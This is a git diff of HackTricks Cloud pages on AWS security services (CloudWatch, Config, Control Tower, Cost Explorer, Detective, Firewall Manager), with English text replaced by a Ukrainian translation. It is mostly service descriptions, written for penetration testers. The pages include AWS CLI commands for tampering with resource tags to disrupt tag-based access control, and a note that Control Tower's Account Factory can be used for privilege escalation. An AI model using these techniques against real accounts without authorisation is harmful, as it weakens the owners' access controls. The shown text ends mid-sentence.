додавати, змінювати або видаляти теги з ресурсів CloudWatch (в даний час лише тривоги та правила Contributor Insights). Це може порушити політики контролю доступу вашої організації на основі тегів. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**Потенційний вплив**: Порушення політик контролю доступу на основі тегів. -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## Посилання - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..42bbdf158 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **фіксує зміни ресурсів**, тому будь-яка зміна ресурсу, підтримуваного Config, може бути зафіксована, що **записує, що змінилося разом з іншою корисною метаданими, все зберігається у файлі, відомому як елемент конфігурації**, CI. Ця служба є **специфічною для регіону**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +Елемент конфігурації або **CI**, як його називають, є ключовим компонентом AWS Config. Він складається з файлу JSON, який **містить інформацію про конфігурацію, інформацію про зв'язки та інші метадані у вигляді моментального знімка підтримуваного ресурсу**. Вся інформація, яку AWS Config може зафіксувати для ресурсу, зберігається в CI. CI створюється **кожного разу**, коли підтримуваному ресурсу вносять зміни в його конфігурацію будь-яким чином. На додаток до запису деталей постраждалого ресурсу, AWS Config також буде записувати CI для будь-яких безпосередньо пов'язаних ресурсів, щоб забезпечити, що зміна не вплинула і на ці ресурси. -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **Метадані**: Містить деталі про сам елемент конфігурації. Ідентифікатор версії та ідентифікатор конфігурації, які унікально ідентифікують CI. Інша інформація може включати MD5Hash, який дозволяє порівнювати інші CI, вже зафіксовані для того ж ресурсу. +- **Атрибути**: Це містить загальну **інформацію про атрибути щодо фактичного ресурсу**. У цьому розділі також є унікальний ідентифікатор ресурсу та будь-які ключові значення тегів, які пов'язані з ресурсом. Тип ресурсу також вказується. Наприклад, якщо це був CI для EC2 екземпляра, типи ресурсів, які вказані, можуть бути мережева інтерфейс або еластична IP-адреса для цього EC2 екземпляра. +- **Взаємозв'язки**: Це містить інформацію про будь-які підключені **взаємозв'язки, які може мати ресурс**. Отже, в цьому розділі буде чіткий опис будь-якого взаємозв'язку з іншими ресурсами, які мав цей ресурс. Наприклад, якщо CI був для EC2 екземпляра, розділ взаємозв'язків може показати з'єднання з VPC разом з підмережею, в якій знаходиться EC2 екземпляр. +- **Поточна конфігурація:** Це відображатиме ту ж інформацію, яка була б згенерована, якщо б ви виконали опис або список API викликів, зроблених AWS CLI. AWS Config використовує ті ж API виклики, щоб отримати ту ж інформацію. +- **Пов'язані події**: Це стосується AWS CloudTrail. Це відображатиме **ідентифікатор події AWS CloudTrail, який пов'язаний зі зміною, що викликала створення цього CI**. Для кожної зміни, внесеної до ресурсу, створюється новий CI. Як результат, будуть створені різні ідентифікатори подій CloudTrail. -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**Історія конфігурації**: Можливо отримати історію конфігурації ресурсів завдяки елементам конфігурації. Історія конфігурації надається кожні 6 годин і містить всі CI для певного типу ресурсу. -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**Потоки конфігурації**: Елементи конфігурації надсилаються до теми SNS для аналізу даних. -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**Знімки конфігурації**: Елементи конфігурації використовуються для створення моментального знімка всіх підтримуваних ресурсів. -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3 використовується для зберігання** файлів історії конфігурації та будь-яких знімків конфігурації ваших даних в одному кошику, який визначається в записувачі конфігурації. Якщо у вас є кілька облікових записів AWS, ви можете захотіти об'єднати файли історії конфігурації в одному S3 кошику для вашого основного облікового запису. Однак вам потрібно буде надати доступ на запис для цього принципу служби, config.amazonaws.com, і ваших вторинних облікових записів з доступом на запис до S3 кошика у вашому основному обліковому записі. -### Functioning +### Функціонування -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- Коли вносяться зміни, наприклад, до групи безпеки або списку контролю доступу до кошика —> викликається подія, яку фіксує AWS Config +- Зберігає все в S3 кошику +- Залежно від налаштувань, як тільки щось змінюється, це може викликати функцію lambda АБО запланувати функцію lambda для періодичного перегляду налаштувань AWS Config +- Lambda повертає дані до Config +- Якщо правило було порушено, Config запускає SNS ![](<../../../../images/image (126).png>) -### Config Rules +### Правила Config -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Правила Config є чудовим способом допомогти вам **забезпечити конкретні перевірки відповідності** **та контролі для ваших ресурсів**, і дозволяє вам прийняти ідеальну специфікацію розгортання для кожного з ваших типів ресурсів. Кожне правило **по суті є функцією lambda**, яка, коли її викликають, оцінює ресурс і виконує просту логіку для визначення результату відповідності з правилом. **Кожного разу, коли вносяться зміни** до одного з ваших підтримуваних ресурсів, **AWS Config перевірить відповідність з будь-якими правилами конфігурації, які ви маєте на місці**.\ +AWS має кілька **попередньо визначених правил**, які підпадають під безпекову парасольку і готові до використання. Наприклад, Rds-storage-encrypted. Це перевіряє, чи активовано шифрування зберігання вашими екземплярами бази даних RDS. Encrypted-volumes. Це перевіряє, чи зашифровані будь-які EBS томи, які мають підключений стан. -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **Керовані правила AWS**: Набір попередньо визначених правил, які охоплюють багато найкращих практик, тому завжди варто спочатку переглянути ці правила, перш ніж налаштовувати свої власні, оскільки є ймовірність, що правило вже існує. +- **Користувацькі правила**: Ви можете створити свої власні правила для перевірки конкретних користувацьких конфігурацій. -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +Обмеження 50 правил конфігурації на регіон, перш ніж вам потрібно буде зв'язатися з AWS для збільшення.\ +Невідповідні результати НЕ видаляються. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..f92bbf6e7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,42 +5,36 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> У підсумку, Control Tower - це сервіс, який дозволяє визначати політики для всіх ваших облікових записів у вашій організації. Тож замість управління кожним з них ви можете встановити політики з Control Tower, які будуть застосовані до них. -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower - це **сервіс, наданий Amazon Web Services (AWS)**, який дозволяє організаціям налаштовувати та управляти безпечним, відповідним, багатоконтурним середовищем в AWS. -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower надає **заздалегідь визначений набір найкращих практик**, які можна налаштувати відповідно до конкретних **організаційних вимог**. Ці шаблони включають попередньо налаштовані сервіси та функції AWS, такі як AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail та AWS Service Catalog. -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +З AWS Control Tower адміністратори можуть швидко налаштувати **багатоконтурне середовище, яке відповідає організаційним вимогам**, таким як **безпека** та відповідність. Сервіс надає центральну панель для перегляду та управління обліковими записами та ресурсами, а також автоматизує надання облікових записів, сервісів та політик. -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +Крім того, AWS Control Tower надає охоронні бар'єри, які є набором попередньо налаштованих політик, що забезпечують відповідність середовища організаційним вимогам. Ці політики можна налаштувати відповідно до конкретних потреб. -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +В цілому, AWS Control Tower спрощує процес налаштування та управління безпечним, відповідним, багатоконтурним середовищем в AWS, що полегшує організаціям зосередитися на своїх основних бізнес-цілях. ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Для перерахунку контролів controltower, спочатку потрібно **перерахувати організацію**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Tower також може використовувати **Account factory** для виконання **CloudFormation templates** в **рахунках та запуску сервісів** (privesc, post-exploitation...) в цих рахунках -### Post Exploitation & Persistence +### Пост експлуатація та стійкість {{#ref}} ../../aws-post-exploitation/aws-control-tower-post-exploitation.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..9948142d4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer та виявлення аномалій -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +Це дозволяє вам перевірити **як ви витрачаєте гроші на послуги AWS** і допомагає вам **виявляти аномалії**.\ +Більше того, ви можете налаштувати виявлення аномалій, щоб AWS попереджав вас, коли буде виявлено **аномалію у витратах**. -### Budgets +### Бюджети -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Бюджети допомагають **управляти витратами та використанням**. Ви можете отримувати **сповіщення, коли досягається поріг**.\ +Також їх можна використовувати для моніторингу, не пов'язаного з витратами, наприклад, використання послуги (скільки ГБ використано в конкретному S3 бакеті?). {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..1b84ccffb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective** спрощує процес розслідування безпеки, роблячи його більш ефективним для **аналізу, розслідування та визначення корінної причини** проблем безпеки або незвичайної активності. Він автоматизує збір даних журналів з ресурсів AWS і використовує **машинне навчання, статистичний аналіз та теорію графів** для створення взаємопов'язаного набору даних. Ця налаштування значно підвищує швидкість і ефективність розслідувань безпеки. -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +Сервіс полегшує глибоке дослідження інцидентів безпеки, дозволяючи командам безпеки швидко зрозуміти та вирішити основні причини проблем. Amazon Detective аналізує величезні обсяги даних з джерел, таких як VPC Flow Logs, AWS CloudTrail та Amazon GuardDuty. Він автоматично генерує **всебічний, інтерактивний огляд ресурсів, користувачів та їх взаємодій з часом**. Ця інтегрована перспектива надає всі необхідні деталі та контекст в одному місці, що дозволяє командам розрізняти причини виявлень безпеки, досліджувати відповідні історичні активності та швидко визначати корінну причину. ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..3ce8ae458 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** спрощує управління та обслуговування **AWS WAF, AWS Shield Advanced, груп безпеки Amazon VPC та списків контролю доступу до мережі (ACL), а також AWS Network Firewall, AWS Route 53 Resolver DNS Firewall та сторонніх брандмауерів** через кілька облікових записів та ресурсів. Це дозволяє вам налаштувати правила брандмауера, захист Shield Advanced, групи безпеки VPC та налаштування Network Firewall лише один раз, при цьому сервіс **автоматично застосовує ці правила та захисти до ваших облікових записів та ресурсів**, включаючи новостворені. -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +Сервіс пропонує можливість **групувати та захищати конкретні ресурси разом**, наприклад, ті, що мають спільний тег або всі ваші розподіли CloudFront. Значною перевагою Firewall Manager є його здатність **автоматично розширювати захист на новостворені ресурси** у вашому обліковому записі. -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +**Група правил** (збірка правил WAF) може бути включена до політики AWS Firewall Manager, яка потім пов'язується з конкретними ресурсами AWS, такими як розподіли CloudFront або балансувальники навантаження додатків. -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS Firewall Manager надає **керовані списки додатків та протоколів** для спрощення налаштування та управління політиками груп безпеки. Ці списки дозволяють вам визначити протоколи та додатки, дозволені або заборонені вашими політиками. Існує два типи керованих списків: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Керовані списки Firewall Manager**: Ці списки включають **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** та **FMS-Default-Protocols-Allowed**. Вони керуються Firewall Manager і включають загальновживані додатки та протоколи, які повинні бути дозволені або заборонені для загальної публіки. Немає можливості редагувати або видаляти їх, однак ви можете вибрати їх версію. +- **Користувацькі керовані списки**: Ви керуєте цими списками самостійно. Ви можете створювати користувацькі списки додатків та протоколів, адаптовані до потреб вашої організації. На відміну від керованих списків Firewall Manager, ці списки не мають версій, але ви маєте повний контроль над користувацькими списками, що дозволяє вам створювати, редагувати та видаляти їх за потреби. -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +Важливо зазначити, що **політики Firewall Manager дозволяють лише дії "Блокувати" або "Підрахувати"** для групи правил, без опції "Дозволити". ### Prerequisites -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Наступні попередні кроки повинні бути виконані перед тим, як перейти до налаштування Firewall Manager для ефективного захисту ресурсів вашої організації. Ці кроки забезпечують базову настройку, необхідну для того, щоб Firewall Manager міг застосовувати політики безпеки та забезпечувати відповідність у вашому середовищі AWS: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **Приєднайтеся та налаштуйте AWS Organizations:** Переконайтеся, що ваш обліковий запис AWS є частиною організації AWS Organizations, де планується впровадження політик AWS Firewall Manager. Це дозволяє централізовано управляти ресурсами та політиками через кілька облікових записів AWS в межах організації. +2. **Створіть обліковий запис адміністратора за замовчуванням AWS Firewall Manager:** Встановіть обліковий запис адміністратора за замовчуванням, спеціально для управління політиками безпеки Firewall Manager. Цей обліковий запис буде відповідати за налаштування та застосування політик безпеки по всій організації. Лише обліковий запис управління організації може створювати облікові записи адміністратора за замовчуванням Firewall Manager. +3. **Увімкніть AWS Config:** Активуйте AWS Config, щоб надати Firewall Manager необхідні дані конфігурації та інсайти, необхідні для ефективного застосування політик безпеки. AWS Config допомагає аналізувати, перевіряти, моніторити та перевіряти конфігурації ресурсів та зміни, що сприяє кращому управлінню безпекою. +4. **Для політик сторонніх постачальників підпишіться в AWS Marketplace та налаштуйте параметри сторонніх постачальників:** Якщо ви плануєте використовувати політики брандмауера сторонніх постачальників, підпишіться на них у AWS Marketplace та налаштуйте необхідні параметри. Цей крок забезпечує інтеграцію та застосування політик від надійних сторонніх постачальників. +5. **Для політик Network Firewall та DNS Firewall увімкніть спільний доступ до ресурсів:** Увімкніть спільний доступ до ресурсів спеціально для політик Network Firewall та DNS Firewall. Це дозволяє Firewall Manager застосовувати захист брандмауера до VPC вашої організації та DNS-резолюції, підвищуючи безпеку мережі. +6. **Щоб використовувати AWS Firewall Manager у регіонах, які за замовчуванням вимкнені:** Якщо ви плануєте використовувати Firewall Manager у регіонах AWS, які за замовчуванням вимкнені, переконайтеся, що ви вжили необхідних заходів для активації його функціональності в цих регіонах. Це забезпечує послідовне застосування безпеки у всіх регіонах, де працює ваша організація. -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Для отримання додаткової інформації перегляньте: [Початок роботи з політиками AWS Firewall Manager AWS WAF](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS Firewall Manager управляє кількома типами політик для забезпечення контролю безпеки в різних аспектах інфраструктури вашої організації: -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **Політика AWS WAF:** Цей тип політики підтримує як AWS WAF, так і AWS WAF Classic. Ви можете визначити, які ресурси захищені політикою. Для політик AWS WAF ви можете вказати набори груп правил, які виконуються першими та останніми в веб ACL. Крім того, власники облікових записів можуть додавати правила та групи правил для виконання між цими наборами. +2. **Політика Shield Advanced:** Ця політика застосовує захист Shield Advanced по всій вашій організації для вказаних типів ресурсів. Вона допомагає захистити від DDoS-атак та інших загроз. +3. **Політика групи безпеки Amazon VPC:** З цією політикою ви можете управляти групами безпеки, які використовуються в усій вашій організації, застосовуючи базовий набір правил у вашому середовищі AWS для контролю доступу до мережі. +4. **Політика списку контролю доступу до мережі (ACL) Amazon VPC:** Цей тип політики надає вам контроль над мережевими ACL, які використовуються у вашій організації, дозволяючи вам застосовувати базовий набір мережевих ACL у вашому середовищі AWS. +5. **Політика Network Firewall:** Ця політика застосовує захист AWS Network Firewall до VPC вашої організації, підвищуючи безпеку мережі шляхом фільтрації трафіку на основі попередньо визначених правил. +6. **Політика DNS Firewall Amazon Route 53 Resolver:** Ця політика застосовує захист DNS Firewall до VPC вашої організації, допомагаючи блокувати спроби шкідливої резолюції доменів та забезпечувати політики безпеки для DNS-трафіку. +7. **Політика брандмауера сторонніх постачальників:** Цей тип політики застосовує захист від брандмауерів сторонніх постачальників, які доступні за підпискою через консоль AWS Marketplace. Це дозволяє інтегрувати додаткові заходи безпеки від надійних постачальників у ваше середовище AWS. +1. **Політика Palo Alto Networks Cloud NGFW:** Ця політика застосовує захист Palo Alto Networks Cloud Next Generation Firewall (NGFW) та набори правил до VPC вашої організації, забезпечуючи просунуте запобігання загрозам та контроль безпеки на рівні додатків. +2. **Політика Fortigate Cloud Native Firewall (CNF) як послуга:** Ця політика застосовує захист Fortigate Cloud Native Firewall (CNF) як послуги, пропонуючи провідне в галузі запобігання загрозам, брандмауер веб-додатків (WAF) та захист API, адаптований для хмарних інфраструктур. ### Administrator accounts -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS Firewall Manager пропонує гнучкість в управлінні ресурсами брандмауера в межах вашої організації через свій адміністративний обсяг та два типи облікових записів адміністратора. -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**Адміністративний обсяг визначає ресурси, якими може управляти адміністратор Firewall Manager**. Після того, як обліковий запис управління AWS Organizations приєднує організацію до Firewall Manager, він може створювати додаткових адміністраторів з різними адміністративними обсягами. Ці обсяги можуть включати: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- Облікові записи або організаційні одиниці (OU), до яких адміністратор може застосовувати політики. +- Регіони, в яких адміністратор може виконувати дії. +- Типи політик Firewall Manager, якими адміністратор може управляти. -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +Адміністративний обсяг може бути **повним або обмеженим**. Повний обсяг надає адміністратору доступ до **всіх вказаних типів ресурсів, регіонів та типів політик**. На відміну від цього, **обмежений обсяг надає адміністративні права лише на підмножину ресурсів, регіонів або типів політик**. Рекомендується надавати адміністраторам лише ті дозволи, які їм потрібні для ефективного виконання своїх обов'язків. Ви можете застосувати будь-яку комбінацію цих умов адміністративного обсягу до адміністратора, забезпечуючи дотримання принципу найменшого привілею. -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +Існує два різних типи облікових записів адміністратора, кожен з яких виконує специфічні ролі та обов'язки: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **Адміністратор за замовчуванням:** +- Обліковий запис адміністратора за замовчуванням створюється обліковим записом управління організації AWS Organizations під час процесу приєднання до Firewall Manager. +- Цей обліковий запис має можливість управляти брандмауерами сторонніх 